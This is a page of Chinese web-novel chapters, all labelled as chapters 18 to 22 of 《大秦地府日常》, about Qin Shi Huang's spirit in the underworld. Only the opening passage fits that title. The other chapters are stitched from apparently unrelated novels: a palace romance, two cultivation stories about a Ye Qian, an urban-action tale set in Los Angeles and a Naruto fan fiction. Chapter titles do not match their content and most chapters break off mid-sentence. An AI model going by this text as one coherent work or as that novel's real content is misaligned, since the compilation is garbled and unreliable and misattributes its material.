“逆贼赵高扣押了陛下的圣旨,待陛下驾崩后,说动了李丞相篡改遗诏。他们扶持公子胡亥上位,还矫诏令长公子自刎。” 说到这里,蒙毅说不下去了。 他知道陛下最不想听的就是之后的发展。 始皇抬眸看他: “扶苏是如何应对的?” 蒙毅艰难地回答: “长公子他,他说‘父赐子死,无需再问’,便拔剑自刎了。” 始皇猛地按在桌案上,豁然起身。那桌案应声而裂,坍塌在地上。 魂体是以功德论战斗能力的,始皇显然还没习惯自己这爆发时惊人的力道。不过他也没在意倒塌的桌案,只居高临下地审视着跪地请罪的蒙毅。 蒙毅说自己不该在路上耽搁,若当时及时归来了,有他盯着,必不可能发生此事。陛下若是生气,便责罚他吧。 始皇没有责罚他,而是重复了一遍: “扶苏拔剑自刎了?” 蒙毅脑袋低垂: “是的。” 始皇忽然就冷静了下来。 他坐回了位子上,弯腰去触碰碎成几瓣的桌案。用功德将之修补好,任由侍者俑上前拾取散落一地的物品。 蒙毅有些摸不着头脑,不知陛下是否是气到极致反而冷静了。 始皇眉眼淡然: “那不过是旁人的儿子,朕教养长大的太子绝不会如此意气用事。既不是朕之子,朕又何必为他们的选择而生气?” 他可以因李斯、赵高等人的悖逆而震怒,也可以因胡亥的残暴愚蠢而冷笑。但其他扶苏做的事情,他总不能迁怒到自家孩子身上。 自有旁的始皇帝会去处理,而他不过是个与之无关的旁观者罢了。 都是成年人了,自己做的选择,自己承担后果。 无论那里的扶苏是一时冲动自杀、懦弱不敢反抗自杀、还是为大局着想主动自杀给“被父亲立为太子”的幼弟让位,都是他自己的事情。 蒙毅觉得不对吧,他们陛下有这么好脾气吗? 果然,又见始皇抽出了腰间的泰阿剑: “扶苏的选择朕不会置喙,可那些胆敢欺辱朕爱子的东西,朕必斩之。” 蒙毅:舒服了,这才是我们陛下。 虽然陛下前脚说“那是别人的儿子与朕无关”,后脚又说“他们欺辱朕之爱子着实该杀”。但这有什么关系呢,到底是不是他儿子,底线可以灵活一点的嘛。 陛下开心就好。 始皇执剑出去了。 其他人方才表面上是在商议律法,实则都竖起耳朵偷听这边的动静呢。 见人走了,立刻叽叽喳喳起来。 “陛下似乎还不知道那些大秦二世而亡了?” “要不要和陛下说一声,这样陛下揍他们的时候可以揍得更狠些。” “无需多此一举,陛下如此睿智,恐怕早有所料。” 大家一想也是,便都抛开了。 主要他们不是很想这个时候凑上前去,万一被迁怒了得不偿失。虽然陛下应该不会迁怒无辜人等, 第 18 章 雁过拔毛 《大秦地府日常》全本免费阅读 南宫离看到这一切之后,就对苏玄歌说了一句,“小心行事啊。”说完,转身就准备走了,他今天晚上不能再待在这里,如果明天被皇上知道后,定会怀疑的,所以,先回去,等明儿一早,再来说事。 “我知道。”苏玄歌比划道,“你自己也小心,如果实在不行,你不必说什么。” “我比你清楚,还有……我会照顾你的。”南宫离有点叹息,也不知道何时才能让苏玄歌知道自己心意啊,毕竟,他这种变化多端,还真是让他有些讨厌呢。 “不用,我自己能照顾自己。”苏玄歌再次比划道,“赶紧走吧。”南宫离又是淡淡一笑,这才真正的离开了将军府里。 可是在南宫离离开没多久,就听到院子里传来丫鬟和仆人的惊奇和震惊的喊叫声,“哎呀,将军真是不幸运啊,刚才院子里有了毒蛇,把夫人吓着了,而将军为了救夫人,可是被毒蛇咬住了啊。”“这感情真得是让人……”话音未落下,就听到苏歌怡的声音,“将军,将军……夫君,你不要抛开我们啊,我和你也没有恩恩爱爱啊!” 听到这啼哭的喊叫声,还有那悲伤的口气,都让南宫离忍不住想回去再看一个究竟,没有想到,苏歌怡演戏也演得真是逼真啊,但是他最终压住了自己的心意,明天一早,上了早朝再说。 “娘亲,”苏玄歌立马扶起哭红了眼睛的苏歌怡,她也感叹,这个古代的女人还真是水做得,让她哭就真得能哭起来,看来,古代的人到现代去,演电视剧根本不用催哭的泪水,而且是自然而然的就能流了出来,“我们还是请医生吧,父亲这样对我们极不好啊。”苏玄歌一边比划一边用手给她擦拭着泪水。 “歌儿,歌儿,我从未……”苏歌怡有点担心的说道。 “不用急,反正是有小宁呢。小宁,这里一切就要靠你了。”虽然苏玄歌觉得何小宁和何小静与南宫离有某种关系,但是在这个时候,还真得要靠她了,要不他们还真是不知道如何办。 “小姐,放心吧,我一定能做得,谁也看不出来。”说到这时,何小宁又开口了,“静姐姐,我记得你说过,学武术的人有内力能把无病的脉搏变成有病的,可有这么一回事?” 何小静正要开口,倒是苏义晨开口了,“有,我有一年,不想去上私塾,当时就利用了脉搏,结果后来御医来查看,发现我是真得生病了。可是当天晚上,就被我爹发现了,让我跪一一夜的祠堂!” 苏歌怡一听这个,顿时“噗”的一声笑了,这个事情,她也是知 道的,而且当初他是想和她在一起“恋爱”呢,毕竟,谁让他们一见钟情了啊! 苏玄歌从娘亲眼里看出来什么,就比划道,“想必爹爹是过于思念娘亲了吧。” “小孩子,胡说什么呢。”听到这时,苏歌怡和苏义晨异口同声道,顿时把在场的人都给搞得再次大笑起来,不过,笑了一阵,就立马噤声了,他们可不能把这笑意给传扬到外边会说苏义晨是在装病呢。 次日一早,当高旭俊发现苏义晨并没有来上朝,就准备派人前去请,却看到有人急匆匆拿来一张纸条,跪下,“陛下,苏将军说是有病了,而且昨天夜里不知是因为天冷过,还是什么原因,家中有了蛇,而把苏夫人给吓住了。” “当时苏将军疼爱自己的妻子,毕竟,他只有一妻一女一子啊,所以,为了保护妻子,他就与蛇斗了起来,结果却是自己中毒了。” “可是随着毒液的散发,让他浑身发烧起来,可是因为过于深夜,再加上又是宵禁之时,所以,苏将军的丫鬟就特意来替苏将军请假,等苏将军病好之后,再来上朝,还望陛下准假!” 高旭俊却是有些怀疑了,昨天走得时候还好好的,怎么说病就病了,难道这是在有意搞得假病吗,为的就是不让自己宣旨。 正当高旭俊准备说话时,倒是南宫离开口了,“没有想到,苏将军和苏夫人真是爱情让人感动啊,回去告诉那个小丫鬟,就说等下朝后,本王前去看望他……嗯,是代表皇上去的。” “奴才明白。”说完,传话的人立马走了出去,然后向那个报信的丫鬟回了话。 高旭俊听到这时,再次皱眉,“离,你怎么不问清楚?” “陛下,微臣有一事忘记告诉你了。”南宫离倒是答非所问的说道,“微臣虽然是请过神医,但是神医与微臣说过,苏将军的腿虽然是能治好,但是不能再传染上毒了,否则对苏将军极不利,还会有很大的后果呢。” “而且陛下,苏将军有没有说过假话呢?一个老实的人,又怎么能说假话呢,所以,陛下,最好还是不要怀疑呢,否则真得会让人心寒怀疑的用人之疑,不用人也在疑!” 在南宫离言语之下,高旭俊最终还是收回自己的话来,开始了上早朝,而南宫离却是坐在一旁,不再说话,只是一个个盯着看。 郡主府里,当燕郡主得知苏将军生病就想去看望,毕竟,她和苏玄歌还算是手帕交呢,反而被自己的母亲给叫住,“不要去,听说苏将军是发烧了,这还要传染呢。” “娘,你不是教育我要好好与苏玄歌交好吗?而且她虽然是一个哑巴,可是做得事情完全是……”燕郡主跺脚道。 “我不想让人传出话来,说你是看上了苏玄歌的父亲而已。”作为母亲自然担心这种流言蜚语,“如果是苏玄歌生病,我会让你去看望的,但是这是她的长辈,你去看也是没有意义呢。不过,倒是可以给她写一封信,就由奴仆或者丫鬟传出去吧。” 在燕郡主母亲的建议下,最终她还是写了一封信写得洋洋洒洒的,而且还对于她父亲的病有种种关心。 苏玄歌在看到燕郡主的毛笔写得字时,她反而有一些失去了自信,她曾经觉得自己写得不错,可是与真正的古代人比,她是差中之差,最终她让丫鬟给燕郡主回了一句,“谢谢你,燕郡主,不过,我还是不建议你来,等我父亲病好后,我会去找你呢,还有,我过于繁忙没有时间与你回信。” 燕郡主并没有在意,毕竟,得到了答复也算是可以了,所以也不再嚷嚷出来看望苏玄歌了,也不用安慰苏玄歌,这也让她心里轻松了一些。 下朝后,当南宫离从木嘴里得知这一切之后,顿时也有一种醋意,脱口而出“木,你说本王要写信,歌儿会给本王答复吗?” 木听到这话,差点喷饭出来,也多亏他没有吃饭,也没有喝水,否则,他一定能喷到其他暗卫一脸,因为这种酸酸的口气,让他感觉眼前的王爷不再是王爷了! “哎,不提了,本王先去看一眼,还有,都给本王警醒一些,主意皇上的动向。”说毕,南宫离摇摇头,他也只是随口问一问而已,因为他看得出来苏玄歌此时巴不得和他远离呢,因为她害怕他,或者说是觉得她没法配得上他吧,毕竟,她的身份在哪里。 可是当他要进入苏府时,却被侍卫阻止道,“王爷,小姐已经传话了,为了防止传染,所以,王爷还是不要进去了,现在不仅夫人也发烧了,就连公子也生病了,同样是发烧,现在完全是没法见人了,一切都乱得很。” 南宫离一听,反而更加紧张了,“那你家小姐呢?” “小姐说……她生过这种病,不怕呢。还有,小姐怀疑这可能是瘟疫。”原来苏玄歌在南宫离走后,又突然想起来曾经在现代遇到过的**,就想到了是不是利用古代的瘟疫一种传说,来震慑皇上呢。 南宫离听到这时,不由眉头紧紧皱了起来,他可是从未听说过苏玄歌小时候生过这种病,如果真得是瘟疫,他还真是担心苏玄歌呢,可是明明与何小宁说得是假的, 怎么会如此变成真的了? 然而,正当他还准备要再问一句之时,只见木突然现身,在他耳边低语了几句,南宫离再次皱眉,随即说道,“转告 第 19 章 风水轮流转 《大秦地府日常》全本免费阅读 大宇出龙之战的前四天,大宇拍卖中心不远处一家酒楼的雅间。 雅间不大,但有些别致,地上铺着绿色真丝地毯,地毯中央,放置着一个半米高的玉质案几,案几很小,放了四盘小菜,两壶酒液,两个杯子就已经满满当当。 叶谦悠然席地而坐,今天是应大宇拍卖中心娄素薇之约,他虽是客人,但还是提前来了一步。 这大约是叶谦老家男人普遍习惯——与女人有约,总会先到。 当日大宇百年拍卖盛会上,叶谦与娄素薇有一饭赌约,这本是玩笑之言,但后来叶谦暗中拜托娄素薇查看乔以煜和周伯俊身份令牌的编号,这才有了点联系。 拍卖会后的这两天,叶谦大部分时间忙着炼制阵丹的套丹,也就忘了这事儿,没想到娄素薇居然会主动派人过来邀请,他也欣然而来。 这段时间,颜福贵忙于处理大宇皇朝的事,鸿涂山主又一去星宿天宫不复返,叶谦身边除了王权富贵这个大男人,连个说话的人都缺,有美女陪着此顿饭,也挺好。 没错,叶谦其实抱着放松的心情,过来吃顿饭的,至于乔以煜和周伯俊的身份令牌,能拿到自然是好事,有了武紫霄,拿不到其实损失也不大。 叶谦到来没多久,雅间的房门打开,娄素薇款款而来。 与百年拍卖会上不同,娄素薇这次梳妆打扮没有那么正式,头上简单的垂鬟分肖髻插着一支金黄叶簪,一袭纯白纱衣,颇有种小家碧玉之感。 “娄姑娘请!”叶谦带着一股若有若无地笑意,也没有起身,大大咧咧地直接伸手邀请娄素薇坐到自己对面。 “让叶大师久等了。”娄素薇淡淡一笑,也不以为意,落落大方地坐下,看着叶谦的眼中闪过一道异色。 之前在拍卖会有人多气机杂乱,又有各种法器阵法屏蔽,娄素薇还感觉不深,等真正近距离直面叶谦,她才感应到,叶谦身上有居然有两股极为恐怖的大道法则气机纠缠缭绕。 旁人很难感应修炼者领悟了什么大道法则,但娄素薇家学渊源,所学真传功法也主神魂,叶谦又没有多加遮掩,仔细感应之下,应该是造化与毁灭两道至高大道法则。 娄素薇脸上掩饰的很好,但心里却震惊得无以复加,以叶谦九品炼丹大师的身份,能够领悟造化大道就已经是天大的机缘,但还有毁灭,实在是让她难以想象的事情。 要知道九大至高法则,能领悟一种,就足以名列诸天万界天骄榜前列,大部分百强,甚至前四十九位 诸天天骄,也就看运气领悟一种。 更别说,造化与毁灭两道至高法则,本质上来说,还是相互冲突的,想要同时领悟,这难度更是比登天还难。 怕是用不了几年,又是一位诸天天骄,只是不知道难不能入前十之列! 娄素薇心中对叶谦的评价拔高了不少,要知道,大部分诸天前十的天骄,都是在窥道境八重巅峰这个修为,进入诸天万界四十九大天骄之列。 而后一入窥道境九重,就是诸天十大天骄,横压诸多大世界。 能不能入十大,娄素薇不能确定,但前四十九,叶谦绝对没问题。 想到这里,娄素薇顿时熄了之前的一点小心思,本还想刁难一下,现在看来,还不如直接卖个小人情,她的脸上露出一抹浅浅的笑意,手抚摸过随身令牌,一道粉红光彩闪烁,她说道:“乔以煜和周伯俊的身份令牌编号已经发给叶公子。” 叶谦愣了愣,承情道:“有劳娄姑娘了。” 他是真没想到娄素薇这么爽快,算是欠了个人情。 “小事而已,本来想着昨天邀请叶大师,无奈少东家居然来大宇皇朝这边凑热闹,素薇实在抽不开身,还望叶大师见谅。”娄素薇不以为意的笑着,闲聊一般说道。 叶谦心中暗暗一惊,大宇拍卖中心只有一个东家,就是离火天朝皇室拍卖中心,少东家必然是离火天朝的皇室成员,甚至有可能是某位皇子。 这个关口过来,大宇皇朝这局势,真是越来越乱了!叶谦心里想着,脸上却带着淡然笑意,说道:“叶某孤陋寡闻,不知道贵少东家是哪位?” 在叶谦看来,娄素薇既然主动提了,明显是想告诉他什么,只不过叶谦确实对离火大世界那边了解不深,哪里能凭借一句话就想出太多东西? “少东家是如今离火天朝执政亲王的第十六子,名为永夜。”娄素薇简单地介绍了一句。 万永夜么!叶谦点了点头,离火天朝的执政亲王他还是知道的。 离火天朝名义上,肯定是诸天至强者万归一执掌,但真正执政处理庶务的,肯定不能是这位终极大佬,而是由离火皇室从皇室选出一位问道境七重以上的强者作为执政亲王,执政千年。 一般来说,离火天朝真正的皇子,就两支,一支是终极大佬归一天帝的直系后裔,另一支,就是执政亲王的直系后裔,两者都是离火天朝正统,但前者肯定比后者身份高贵一些。 “那确实怠慢不得!”叶谦干巴巴地说道,心里 反而放心不少,这位身份太高,基本上不太可能参加大宇出龙之战,应该确实如娄素薇所言,过来看热闹的。 “万永夜,诸天万界排名第十八,他参加不了这次出龙之战!”叶谦神魂海中,神荒鼎鼎灵也及时送给叶谦一则消息。 啧啧!叶谦脸上不动神色,心里却颇为震惊,这离火万家是真的强啊,有个诸天十大天骄之一的万物生,居然还有排名这么靠前的万永夜,真是变态。 想想大宇皇朝只有颜福贵一个七百多名的天骄撑门面,而星宿天宫以前也只有鸿涂山主镇场子,这差距不是一般的大,由此可见离火天朝皇室的强大。 似乎看出叶谦的心思,娄素薇微微一笑,道:“这次四家争夺虚灵秘境,少东家觉得是个机会,想来看看有没有机会设个赌局,赚点修行资源。” “……”叶谦无言,这大约是对庄家最不友好的赌局,谁输谁赢只有一个结果,不像赌球什么的,你还能赌进球数,一个不好,说不定万永夜赔得底裤都没。 “过上几天,我家少东主想要宴请叶大师和贵宫鸿涂山主 第 20 章 病弱少年阿政 《大秦地府日常》全本免费阅读 叶谦看到博野那激动的表情,心中也微微一喜,其实他也知道这四本秘籍都是高级巫术师修炼秘籍,最高能够修炼到大巫术师的境界。 所以,叶谦在自己心中,对于这四本秘籍的价值也是有所预判的。 “叶谦使者,你需要些什么宝物,如果不需要宝物的话,我们也可以用幻灵石作为交换,这四本秘籍都是高级秘籍,所以我可以给你每本两百三十刻幻灵石的价格购买。”博野含笑看着叶谦,说出了他给的价格。 叶谦闻言,对于博野给出的价格颇为满意,本來在叶谦想來,每本巫术师修炼秘籍,估计能够卖到两百一十颗幻灵石就算高价了,可博野给的价格比叶谦想象之中还多了二十颗,显然之前巫术师们说的高价收购秘籍并不是假话。 “我需要的东西,都写在了这个单子上,博野前辈,你看看你们这边有沒有,大概需要多少价位。”叶谦说着拿出了自己早就准备好的一张购物清单。 单子上的东西,其中多数是叶谦为自己办置的,还有些是他主动为克鲁尔办置的。 其中聚灵丹二十颗用來加快修炼之用,六颗茯苓丹用來治疗伤势恢复体力所用,除了丹药之外,叶谦还要了一件开光级的圣器,特性要求是力量增幅。 博野看了清单之后,说道:“叶谦使者,因为你的身份特殊,所以这些东西卖给你我都给你八折优惠,属于最高规格的优惠了。” “其中二十粒聚灵丹,每个原价是二十颗幻灵石一粒,现在只收你十六颗幻灵石,二十粒聚灵丹便是三百二十颗幻灵石,茯苓丹每粒原价是十颗幻灵石,六粒茯苓丹便是四十八颗幻灵石,丹药加起來一共是三百六十八颗幻灵石。”博野解释道。 叶谦微微点头,对于这些价格,并沒有异议,因为整个异能界,这些丹药的价格几乎都是统一的,博野能够给个八折,确实是最高优惠规格了。 “至于你需要的开光级圣器,特性力量增幅的兵器,这个我们手里倒是有不少,你可以自己挑选。”博野呵呵笑着,带着叶谦來到了办公桌前的电脑旁。 随着博野打开了一个网页,叶谦看到了诸多特性为力量增幅的开光级圣器。 这一看,叶谦不禁吓了一跳,一眼看去光是第一页显示的圣器数量之多,就有二十五件之多,而且下面的页面显示足足有一百页之多。 “叶谦使者,这圣器多并不是那么奇怪的事情,毕竟,一代代强者留下的圣器可不少,就算有些破损,也能够花费一定的代价修复 。”博野似乎看出了叶谦的吃惊,在一旁解释道。 叶谦微微点头,继续看着浏览器上的圣器介绍,当他看到价格的时候,不由的心中一悸,虽然早就想到兵器的价格不一般,但真正看到最便宜的开光级圣器出售价的时候还是吓了一跳。 这最便宜的一件开光级圣器,力量增幅仅仅只有一成,但价格居然直接破了一千幻灵石,这相比丹药來说,这简直就是天文数字了。 “兵器每一个异能者都需要,而丹药只有有钱人才用得起,一个是永久,且只要不坏就不贬值的东西,一个是消耗品,所以在价格上有很大的区别也正常。”博野在一旁为叶谦解释道。 叶谦看了沒多久,就发现,只要力量增幅增加一成,价格几乎就是成倍的增长,比如增幅一成力量的开光级圣器,一千一百颗幻灵石就能够买到手,但两成力量增幅的开光级圣器的价格,就直接飙升到了五千一百颗幻灵石,这价格几乎翻了五倍。 叶谦算了算自己四本高级秘籍出售后的收入为九百二十颗幻灵石,出去丹药的三百六十八颗幻灵石,最后剩下的其实就只有五百五十二颗幻灵石可用。 也就是说,叶谦连最便宜的一件开光级的圣器都买不起,而叶谦本就打算给克鲁尔换一件兵器,因为克鲁尔使用的兵器,还是普通的圣器,根本沒有力量增幅的效果。 在叶谦看來,克鲁尔身为狼人,最大的优势就在于力量的强横,如果再配合一件力量增幅的圣器,那么实力肯定会直线上升。 想到这里,叶谦一咬牙,再次拿出了流云袋,说道:“博野前辈,其实我这里还有一柄权杖,你给看看,大概能够给我一个什么价位,只要价格合适,我也一并卖给你们把。” 说着,叶谦将从古城里得到的古蔺法老送给自己的东西之一,四柄权杖之中的一柄拿了出來。 博野看到这权杖的时候,顿时双目放光,颤抖不已,这才是叶谦在古城里得到的除了流云袋之外最值钱的东西。 博野看着手中的权杖,似乎这是全世界最珍贵的宝贝,小心翼翼的观察着,良久之后才激动不已道:“我就说,叶谦使者你之前给我们三脉的权杖都是四大护法之一的法器,那么剩下的一柄应该也在你手中才对。” 博野这段感触,叶谦一点也不意外,其实他早就想到,当初得到的四柄权杖,就是那四大护法的贴身法器,至于等级,叶谦虽然是个门外汉,也知道最低都是开光级,甚至有可能是通灵级的法器。 “这是一柄 开光级的法器,虽然不是通灵级的法器,但古蔺法老的四大护法是何等人物,他们的法器岂会一般,其中蕴含了多重特性,可以说是难得的至宝。”博野也沒有隐瞒叶谦,毕竟他也知道,叶谦肯定也知道这权杖不简单。 “法老早就说过了,如果你那护法的权杖出來交换,我们可以给你十万幻灵石。”博野一脸郑重的对着叶谦说道。 闻言,叶谦苦笑不已,看來自己这权杖,其实早就被对方算准在了身上,不过,十万幻灵石的价格真心不低了,至少对于很多异能者來说,这就是一笔天文数字,所以,就算是眼前的博野,一个六阶召唤师强者,在说这个数字的时候,也明显心跳加快。 叶谦感觉自己一下子从一个穷光蛋,变成了高富帅,这种巨大的落差,就算是如今的叶谦,心中也难免有些激动。 “好,我就将这权杖卖给你们。”叶谦 第 21 章 回旋镖 《大秦地府日常》全本免费阅读 叶浩然根本没给黑鹰机会,他手轻轻一扬,“嗖”的一声,一道钢钉飞了出去,这一次钢钉出现的非常突兀,直接把黑影的食指给切断,而沙漠之鹰那把手枪,也远远的飞出了船外,掉进了水里面。 黑鹰这一次真的恐惧了,如果第一次被叶浩然打掉匕首是因为叶浩然突袭的话,这一次就完全是正面交锋,而且还是自己先掏出枪的,更重要的是,自己用的是枪,而叶浩然用的是……用的是钢钉啊!一根钢钉,在这个华夏人的手中,竟然比一支手枪还要暴力的多! “我不想杀你,把财物放下,你滚下船吧。”叶浩然坐在最后面,淡淡的道。 黑鹰知道自己完全不是叶浩然的对手,或者,他根本和叶浩然不是一个档次的,看到叶浩然的样子,黑鹰拱了拱手,道:“多谢饶命,看来华夏国果然是藏龙卧虎,老大的有道理,或许你们华夏国经济不发达,但是你们的国度,的确很神秘。” 完黑鹰放下口袋里的金银财产,直接“噗通”一声跳到了水中。 叶浩然对船老大道:“赶紧开船吧,再耽搁一会今天就没法赶回家睡觉了。” 大胡子的船长赶紧头,哆嗦着开船朝着洛杉矶飞奔而去。船上的人看着叶浩然,然后有人开始取回自己被抢的财产。很快财产重新回到了大家的手中,船上的乘客不时的看向叶浩然,接着有人开始主动朝着叶浩然打招呼。 叶浩然不习惯做这种英雄,他靠在后排的窗户边上,看着窗外,想着父亲交代过的事情。一切都会发生,就在加州大学,等待一个神秘人的出现。可是,这神秘人是敌是友,叶浩然都不知道,关键是,今天血色十字会的返祖实验,让叶浩然觉得有些担心起来,血色十字会,和自己父亲口中的神秘人,有没有什么关系呢。 “伙子,你看看这张照片。”前排一个m国老妇人走了过来,她满头银发,已经比较老了,她走过来,递给叶浩然一张照片。 照片上是个女孩,一个大约十四五岁的m国女孩,女孩长得非常可爱,笑起来的时候还有两个酒窝。 “怎么了?”叶浩然问道。 “这个女孩,漂亮不漂亮?”m国老太太笑眯眯的问道,眼睛眯成了一条线。 “漂亮。”叶浩然不理解这老太婆想干嘛。 “伙子,你有没有觉得,你和这女孩很有夫妻相?我去过你们华夏国,你们华夏国很讲究这个的,你什么时候出生的,我也可以把我孙女的生辰八字给你,让你家人看看你们合不合,好不好 ?”老太婆莫名其妙的着。 叶浩然看着老太婆,他终于弄明白了两件事情,第一,这个照片上的女孩是这个老太婆的孙女,第二,这老太婆要撮合自己和这个女孩,而且,这老太婆竟然孩子到夫妻相以及生辰八字这些词语,这可真是华夏通啊。 叶浩然无奈道:“奶奶,不需要,我有女朋友了。” “哦,好可惜,不过,你有兄弟姐妹吗?你的兄弟姐妹们有没有单身的,我觉得你很好,你的兄弟姐妹们肯定也很好,我有很多孙子孙女,你可以让你的兄弟姐妹们可劲的挑。”老太婆认真的道,她的太激动,牙齿里直往外漏风。 叶浩然干脆闭上了眼睛,不想再理会这老太婆,真是的,跟华夏国的大妈们学什么不好,偏偏学华夏大妈们的媒精神,真是吃饱了撑的啊。 哎,做好人也不容易啊,耳根不清净! 终于轮船到了岸上,叶浩然从码头出来,松了口气,那个m国老大妈还真有华夏大妈的作风了。码头外面还有一些出租车,叶浩然上了出租车,便直接回到了家中。 到了家的时候已经是晚上十多了,这个店应该都睡了,可是柳依依还没有回来。叶浩然在家里转了两圈,觉得有些担心,便给柳依依打了个电话,电话那边很快接听,是柳依依的声音,“喂,叶浩然,你回来了吗?” “恩,你怎么还没下班呢?”叶浩然奇怪,m国人可都不喜欢加班的,就算是导演和演员也不加班。 柳依依道:“最近有忙,我还得几个时才能收功,哦,我可能会住在好莱坞这边的公寓里,我很安全,你不用担心我。” “我没担心你,是担心没人给我做早饭和晚饭了。”叶浩然道。 “嘻嘻,忙完这段时间会补偿你的,我要继续了,拜拜。”着柳依依挂掉电话,听得出来她非常的忙碌。 叶浩然抠了抠鼻子,这是个好事,忙碌一也挺好的,自己现在忙碌,其实也挺好的,虽然自己的父亲具体没给自己交代什么任务,可是自己倒了好莱坞之后,也一直忙碌忙外的,生活倒也是很充实。 洗刷之后,叶浩然便上床睡觉,第二天一早,叶浩然开车就去了美颜国际化妆品公司,在那里叶浩然直接找到了林芝。 林芝看到叶浩然,原本一脸惆怅的脸就露出了笑容,她看着叶浩然笑道:“你一回来,准是给我带来好消息的,对不对。”着,林芝给叶浩然冲了一杯咖啡,放到了叶浩然身前。 叶浩然不喜欢喝咖啡,但是这咖啡可 是林芝冲的,她一个堂堂的总裁,跨国公司的董事,可真没有给别人冲过咖啡呢。 “恩,林姐你还真对了,器材的事情已经搞定了,而且资金也可以拖欠一段时间,那边答应先给咱们生产着,等咱们的资金充裕了,再把钱汇过去。”叶浩然笑着道,然后把咖啡一口喝光了。 “真的!”林芝看着叶浩然,美丽的眼睛带着几分灵动的引诱,那种引诱竟然让叶浩然觉得很清纯的感觉,就像是一个仙子在朝着自己眨眼睛一般。 林芝没发现自己的魅力太足,她高兴的翻动着桌子上的合同道:“知道吗,为了这笔资金的事情,我已经头大了,本来打算卖掉一个商场的,可是欧洲那边的人似乎知道咱们资金周转不灵,竟然联合起来逼迫咱们降低价格。这些也就罢了,关键是杜菲斯化妆品公司的人,实在是太可恶了,那个欧恩,他现在正在大肆的打压咱们公司!” “欧恩?就是上一次请了下蛊师的那个人?”叶浩然皱了下眉头, 第 22 章 虚假的暴君 《大秦地府日常》全本免费阅读 前排重点: ☆女频,不喜请勿言勿续视。 ☆重生卡穿生鸣,双主角。致郁系衍生,少许正剧情以便讲述及情节发展,主亲情,主轻松日常向(其它为剧情需要)。 ☆厌恶抄袭,原作中人物的原作事件、题材(重穿生)以外,我个人所想所写的所有内容禁止参考。 ☆“——”不管多长都不算在字数里。我会以自己的方式加油的。 —————————————— 卡卡西在知道了自身情况是怎样了以后,发现自己正处于不得不作出艰难抉择的境地。 他在半秒内整理了一番曾经的记忆。 ——“……抱歉……” 这是目前没时间且无力改变现实的他,能想到在保全目标的同时还能守护木叶的唯一方式了。 他坚定地注视着飞跃过来的少女,主动按住了她的肩膀,同时向她伸出带有着雷属性攻击忍术的手。 即使已经经历过了很多,但此情此景再重现在他眼前……也还是让他无法抑制地大口大口呼吸着腥味混有着焦糊味道的空气。 主动伸手的他并没有对少女的心脏部分出手,不过也差不了多远…… 雷光散去,拳头大小的洞边已经被电焦得不怎么流血了。 但她的心脏,也从越来越慢变成了不再继续跳的状态了。 他颤着手将攥住的电焦碎屑撒在地上,给正在失去温度的女孩盖合上了双眼,嘴唇哆嗦着对她说了对不起。 而后他费力地将她抱在自己怀中,带着其一同面向那漫山遍野的敌人。 “被你们用来当成武器的人质已被我解决掉了,你们……没有什么再可以威胁到我与木叶的了。” 少年卡卡西的身躯虽然瘦削单薄,但手臂上还在向下流血的他气势上已经压迫住大多数的人了。 “唔、、” 他忽然捂住了自己突地开始涨跳着了的左眼。 悲伤、痛苦、绝望……比之前的那次更加清晰地从眼睛的伤口下涌入了自己的脑海。 {原来是这个时候就开了吗……} 精神上带来的冲击让他不受控制地松开了环抱着少女的手,意识恍惚中,一个熟悉的奇怪身影冲到了战场上。 狂暴的木遁绽放开了一朵朵的血色花朵,强撑着没有倒下的他,眼前最后的一副景象…… 是由身后刺穿过前腹但并不粗壮的尖利树枝。 {带土……吗……} 原来这个时候,带土就在附近。 他这次才知道。 但他已无力回头确认或者开口询问了。 他也倒下了,被叉着甩到了一边。 —————————————— [开始那段时间我以为我以后也要去过那样的生活了,但……] 他从桌边站起来,小跑到厨房扯了扯曾在很年轻的时候就成了上忍、而那之后几年的现在正系着可爱的围裙洗他们饭后餐具之人的裤腿。 “等我洗完碗就带你出去玩。” 年轻的上忍眯起眼睛,很是成熟地对他笑了笑。 ……好奇怪。 这个人好奇怪。 和印象里的那个卡卡西完全不同。 他居然在自己还没满月的时候就把自己收养过去了。 不过喂食什么的一点也不像院里的阿姨那样专业,但还不至于饿死自己。 他平安地活到了两岁。 且没有再被人说什么怪物啊、妖狐之类的话。 虽然不清楚是因为什么,但他总觉得是因为卡卡西做了什么,才会变成那样的。 街上人对他的态度就像是对待普通小孩一样,只是偶尔会看着他露出对四代目离去的惋惜神情而已。 但惋惜之余……似乎又没人知道他是水门的孩子。 他不明白为什么会变成那样。 - 两岁的他早就会爬也会跑了,有时候还会在不出门的时候,把卡卡西当成岩石来练攀岩,揪着衣服就爬到了他的背上。 然后骑在肩上乱踢腿。 即使是在刷碗的时候玩攀岩的后果也一样,他仍是那种成熟到令人讨厌的笑容,毫不在意地说再等下就一起玩。 且没把自己放下去,任自己那么调皮着。 有几次还因为自己而让卡卡西摔碎了碗,但他也不会对自己说些什么,收拾了碎片后继续该做什么做什么。 ……作为监护人来说,卡卡西温柔吗? 是的。 但温柔得让鸣人觉得有些可怕。 这个年纪的他不应该是这样的。 他怎么可能会为了非亲非故的小孩而放弃可以成为暗部队长的机会呢? 是的,卡卡西不是鸣人的亲人。 虽然鸣人是他老师的孩子,他也曾经听令暗中保护过玖辛奈但…… 鸣人 真的觉得自己和他并不熟。 原鸣十二岁毕业的时候才认识卡卡西,这就足以说明他并不是那种人了。 不然卡卡西早就会去和原鸣接触了,哪里轮得到自己在这里怀疑人生。 旗木卡卡西十二岁的时候成为了上忍,失去了一位同伴,在一年之内又失去了另一位同伴,而两年后,又失去了自己的老师。 整个水门班就只剩下了卡卡西一个人。 虽然已经是上忍了,但他自己还是个十几岁的孩子。 就连14岁开始收养了自己、到现在已经两年了的他,目前也还没有到可以看自来也的书的年纪。 鸣人不觉得这样一个家伙能照顾好自己,但他偏偏把各种各样的家务事都做得很不错。 冲兑奶粉后给婴儿喂食的水温、在断奶前辅食的营养搭配、婴幼儿期所需要的关注与陪伴、以及现在日常生活里荤素搭配得很好的每日三餐。 每一样都做得非常好,几乎可以说是鸣人印象里的''最完美''了。 [这是真实的世界吗?] 鸣人有了这样的思考。 带土不在村里,没见到琳,四代目夫妻也已经是已故了…… 要说这是被创造出的虚假世界的话,那这几个人里的不论哪个都绝对不会不在的。 - 刷完了碗的卡卡西先去了趟洗手间,而后招呼着鸣人一起把外出的衣服换好。 初春的木叶没有在地上留下哪怕是一堆积雪,只有绿植上的水珠能告诉他们,自己是从那个季节坚持到现在的。 十六岁的卡卡西像是其他出门的亲子一样,牵着鸣人的小手漫无目的地在街上散步。 鸣人对木叶的地图还不是很熟,每次出门都会很新鲜地去记下周围的环境与从卡卡西的家门口延伸出来的路线。 但通常回家以后的十二个小时内就忘得差不多了。 